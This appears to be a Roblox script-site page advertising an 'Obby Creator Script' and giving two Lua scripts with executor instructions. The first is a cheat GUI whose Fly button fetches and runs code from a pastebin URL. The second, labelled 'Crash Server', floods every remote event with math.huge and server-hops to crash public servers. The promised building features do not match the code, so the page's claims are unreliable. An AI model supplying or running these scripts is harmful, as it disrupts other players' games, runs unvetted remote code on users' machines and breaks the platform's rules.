Obby Creator Script

Obby Creator Script is an advanced Roblox tool designed to enhance and simplify the creative experience in Obby Creator, one of the most popular obstacle course–building games on Roblox. This script helps players unlock premium features, automate certain building tasks, and create unique, detailed obbies effortlessly.

What is Obby Creator Script?

The Obby Creator Script is a Lua-based enhancement built for Roblox’s Obby Creator game. It integrates seamlessly with the Roblox client through trusted executors and provides builders with advanced tools to make obstacle creation faster and more efficient. From automatic object generation to real-time adjustments, the script revolutionizes how players design, test, and share their custom obbies.

Obby Creator Script

Features Of Obby Creator Script

1

Instant Build

Automatically place multiple blocks or obstacles at once.

2

Auto Align

Ensures perfect alignment of platforms, ramps, and objects for a cleaner build.

3

Copy and Paste

Duplicate complex structures or layouts quickly.

Download & Copy All Obby Creator Script 2025

1. Obby Creator Script No Key

-- new fly/walkspeed gui
-- Made by 6uz
-- Instances:

local ScreenGui = Instance.new("ScreenGui")
local Main = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local Fly = Instance.new("TextButton")
local walkspeed = Instance.new("TextButton")
local wsframe = Instance.new("Frame")
local wsinput = Instance.new("TextBox")
local setws = Instance.new("TextButton")
local rews = Instance.new("TextButton")
local wsclose = Instance.new("TextButton")
local Close = Instance.new("TextButton")
local Open = Instance.new("TextButton")

--Properties:

ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

Main.Name = "Main"
Main.Parent = ScreenGui
Main.BackgroundColor3 = Color3.fromRGB(255, 170, 255)
Main.BorderSizePixel = 0
Main.Position = UDim2.new(0.14777948, 0, 0.194278911, 0)
Main.Size = UDim2.new(0, 360, 0, 413)

Title.Name = "Title"
Title.Parent = Main
Title.BackgroundColor3 = Color3.fromRGB(226, 151, 226)
Title.BorderSizePixel = 0
Title.Size = UDim2.new(0, 360, 0, 50)
Title.Font = Enum.Font.SourceSans
Title.Text = "6uz's Gui"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextScaled = true
Title.TextSize = 14.000
Title.TextStrokeTransparency = 0.000
Title.TextWrapped = true

Fly.Name = "Fly"
Fly.Parent = Main
Fly.BackgroundColor3 = Color3.fromRGB(255, 119, 242)
Fly.BorderSizePixel = 0
Fly.Position = UDim2.new(0.0472222194, 0, 0.198731437, 0)
Fly.Size = UDim2.new(0, 153, 0, 55)
Fly.Font = Enum.Font.SourceSans
Fly.Text = "Fly"
Fly.TextColor3 = Color3.fromRGB(255, 255, 255)
Fly.TextScaled = true
Fly.TextSize = 14.000
Fly.TextStrokeTransparency = 0.000
Fly.TextWrapped = true
Fly.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/9tZMx4SW"))()
end)

walkspeed.Name = "walkspeed"
walkspeed.Parent = Main
walkspeed.BackgroundColor3 = Color3.fromRGB(255, 119, 242)
walkspeed.BorderSizePixel = 0
walkspeed.Position = UDim2.new(0.508333325, 0, 0.198731437, 0)
walkspeed.Size = UDim2.new(0, 153, 0, 55)
walkspeed.Font = Enum.Font.SourceSans
walkspeed.Text = "Set Speed"
walkspeed.TextColor3 = Color3.fromRGB(255, 255, 255)
walkspeed.TextScaled = true
walkspeed.TextSize = 14.000
walkspeed.TextStrokeTransparency = 0.000
walkspeed.TextWrapped = true
walkspeed.MouseButton1Click:Connect(function()
wsframe.Visible = true
Fly.Visible = false
end)

wsframe.Name = "wsframe"
wsframe.Parent = walkspeed
wsframe.BackgroundColor3 = Color3.fromRGB(255, 170, 255)
wsframe.BorderSizePixel = 0
wsframe.Position = UDim2.new(-1.19607842, 0, -0.583201468, 0)
wsframe.Size = UDim2.new(0, 360, 0, 362)
wsframe.Visible = false

wsinput.Name = "wsinput"
wsinput.Parent = wsframe
wsinput.BackgroundColor3 = Color3.fromRGB(231, 154, 231)
wsinput.BorderSizePixel = 0
wsinput.Position = UDim2.new(0.163888887, 0, 0.0883977935, 0)
wsinput.Size = UDim2.new(0, 241, 0, 63)
wsinput.Font = Enum.Font.SourceSans
wsinput.Text = "Speed Value"
wsinput.TextColor3 = Color3.fromRGB(255, 255, 255)
wsinput.TextScaled = true
wsinput.TextSize = 14.000
wsinput.TextStrokeTransparency = 0.000
wsinput.TextWrapped = true
wsclose.MouseButton1Click:Connect(function()
wsframe.Visible = false
Fly.Visible = true
end)

setws.Name = "setws"
setws.Parent = wsframe
setws.BackgroundColor3 = Color3.fromRGB(221, 147, 221)
setws.BorderSizePixel = 0
setws.Position = UDim2.new(0.0472222231, 0, 0.331491709, 0)
setws.Size = UDim2.new(0, 143, 0, 51)
setws.Font = Enum.Font.SourceSans
setws.Text = "Set Walk Speed"
setws.TextColor3 = Color3.fromRGB(255, 255, 255)
setws.TextScaled = true
setws.TextSize = 14.000
setws.TextStrokeTransparency = 0.000
setws.TextWrapped = true
setws.MouseButton1Click:Connect(function()
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = wsinput.Text
end)

rews.Name = "rews"
rews.Parent = wsframe
rews.BackgroundColor3 = Color3.fromRGB(221, 147, 221)
rews.BorderSizePixel = 0
rews.Position = UDim2.new(0.508333325, 0, 0.331491709, 0)
rews.Size = UDim2.new(0, 153, 0, 51)
rews.Font = Enum.Font.SourceSans
rews.Text = "Reset Walk Speed"
rews.TextColor3 = Color3.fromRGB(255, 255, 255)
rews.TextScaled = true
rews.TextSize = 14.000
rews.TextStrokeTransparency = 0.000
rews.TextWrapped = true
rews.MouseButton1Click:Connect(function()
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
end)

wsclose.Name = "wsclose"
wsclose.Parent = wsframe
wsclose.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
wsclose.BorderSizePixel = 0
wsclose.Position = UDim2.new(0.891666651, 0, 0, 0)
wsclose.Size = UDim2.new(0, 39, 0, 39)
wsclose.Font = Enum.Font.SourceSans
wsclose.Text = "X"
wsclose.TextColor3 = Color3.fromRGB(255, 255, 255)
wsclose.TextScaled = true
wsclose.TextSize = 14.000
wsclose.TextStrokeTransparency = 0.500
wsclose.TextWrapped = true

Close.Name = "Close"
Close.Parent = Main
Close.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Close.BorderSizePixel = 0
Close.Position = UDim2.new(0.891666651, 0, 0, 0)
Close.Size = UDim2.new(0, 39, 0, 39)
Close.Font = Enum.Font.SourceSans
Close.Text = "X"
Close.TextColor3 = Color3.fromRGB(255, 255, 255)
Close.TextScaled = true
Close.TextSize = 14.000
Close.TextStrokeTransparency = 0.500
Close.TextWrapped = true
Close.MouseButton1Click:Connect(function()
Main.Visible = false
Open.Visible = true
end)

Open.Name = "Open"
Open.Parent = ScreenGui
Open.BackgroundColor3 = Color3.fromRGB(255, 170, 255)
Open.BorderSizePixel = 0
Open.Position = UDim2.new(0, 0, 0.566150188, 0)
Open.Size = UDim2.new(0, 92, 0, 22)
Open.Font = Enum.Font.SourceSans
Open.Text = "Open"
Open.TextColor3 = Color3.fromRGB(255, 255, 255)
Open.TextScaled = true
Open.TextSize = 14.000
Open.TextStrokeTransparency = 0.500
Open.TextWrapped = true
Open.MouseButton1Click:Connect(function()
Main.Visible = true
Open.Visible = false
end)

-- Scripts:

local function NLNLEP_fake_script() -- ScreenGui.Script
local script = Instance.new('Script', ScreenGui)

frame = script.Parent.Main -- Take out {}s, and put name of frame
frame.Draggable = true
frame.Active = true
frame.Selectable = true
end
coroutine.wrap(NLNLEP_fake_script)()

2. Reboot Server or Crash Server

-- place script in auto execute folder it server hop for more chance of crashing the server (rebooting it)

local httprequest = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local JobId = game.JobId
local PlaceId = game.PlaceId
local Players = game:GetService("Players")
local settings = 4 -- best

for i = 1, 5 do
-- Start
for p, v in pairs(game:GetDescendants()) do
coroutine.wrap(function()
local success, err = pcall(function()
if v:IsA("RemoteFunction") then
v:InvokeServer(math.huge)
elseif v:IsA("RemoteEvent") then
v:FireServer(math.huge)
elseif v:IsA("BindableEvent") and v ~= Players.LocalPlayer.PlayerGui.Intro.LocalScript:FindFirstChild("DoTutorial") then
v:Fire(game.Players.LocalPlayer, math.huge)
end
end)
if not success then
warn(":neutral-face: " .. err)
end
end)()
end

wait(settings)
-- credit to infinite yield for server hop script
if httprequest then
local servers = {}
local success, req = pcall(function()
return httprequest({Url = string.format("https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true", PlaceId)})
end)

if success and req then
local body = HttpService:JSONDecode(req.Body)

if body and body.data then
for _, a in pairs(body.data) do
if type(a) == "table" and tonumber(a.playing) and tonumber(a.maxPlayers) and a.playing < a.maxPlayers and a.id ~= JobId then
table.insert(servers, a.id)
end
end
end
else
warn("error" .. (req or "No response"))
end

if #servers > 0 then
local success, err = pcall(function()
TeleportService:TeleportToPlaceInstance(PlaceId, servers[math.random(1, #servers)], Players.LocalPlayer)
end)
if not success then
warn("failed teleport no httpsync :cold: : " .. err)
end
else
warn("did u crashed all the server? :sweat-smile.")
end
end
-- End
end

Also Read: Mount Sumbing Script

How to use Obby Creator Script

  • Download a safe and reliable Roblox executor such as Delta or KRNL.
  • Copy the Obby Creator Script from a trusted Roblox script website.
  • Launch Roblox and open the Obby Creator game.
  • Open your executor and paste the script code into it.
  • Click “Execute” to activate the script.
  • Toggle your preferred tools—like instant build or copy-paste—from the menu that appears.

Frequently Asked Questions (FAQs)

Does the Obby Creator Script make building easier for beginners?

Yes, it’s specifically designed to simplify complex building tasks and speed up creation for beginners and experienced players alike.

Is the script safe to use?

Can I use the script on mobile devices?

Will it unlock premium tools for free?

Does using the script affect my saved builds?

Conclusion

The Obby Creator Script transforms Obby Creator into a smoother, faster, and more powerful building experience. It saves countless hours by automating repetitive tasks, ensuring perfect alignment, and unlocking creative features that are otherwise restricted. For builders who take pride in creating detailed and imaginative obstacle courses, this script is the perfect companion.

It not only boosts creativity but also enhances efficiency—allowing you to focus on innovation rather than manual work. Whether you’re designing your first obby or perfecting a large-scale project, the Obby Creator Script helps you bring your vision to life effortlessly. With its advanced features, user-friendly interface, and reliable performance, it stands out as one of the best tools for Roblox creators who want to take their building experience to the next level.

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